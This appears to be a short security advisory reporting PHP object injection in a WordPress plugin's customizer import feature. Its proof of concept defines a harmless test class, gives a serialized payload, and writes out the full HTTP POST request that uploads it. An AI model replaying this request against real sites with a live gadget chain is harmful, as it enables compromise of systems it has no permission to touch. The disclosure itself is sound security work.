The plugin unserializes the content of an imported file, which could lead to PHP object injection issues when an admin imports (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.
To simulate a gadget chain, put the following code in a plugin class Evil { public function __wakeup() : void { die("Arbitrary deserialization"); } } Create a file named import.dat with the following content and import it via the plugin: O:4:"Evil":0:{}; POST /wp-admin/customize.php?url=http%3A%2F%2Flocalhost%2Fwordpress%2F2022%2F09%2F19%2Fchao-moi-nguoi%2F HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------230490675911506417393855957848 Content-Length: 636 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------230490675911506417393855957848 Content-Disposition: form-data; name="cei-import-file"; filename="import.dat" Content-Type: application/octet-stream O:4:"Evil":0:{}; -----------------------------230490675911506417393855957848 Content-Disposition: form-data; name="cei-import" 4d4ede2295 -----------------------------230490675911506417393855957848 Content-Disposition: form-data; name="_wp_http_referer" /wp-admin/customize.php?url=http%3A%2F%2Flocalhost%2F2022%2F09%2F19%2Fchao-moi-nguoi%2F -----------------------------230490675911506417393855957848--
Nguyen Duy Quoc Khanh
Nguyen Duy Quoc Khanh
Yes
2022-10-10 (about 3 months ago)
2022-10-10 (about 3 months ago)
2022-10-10 (about 3 months ago)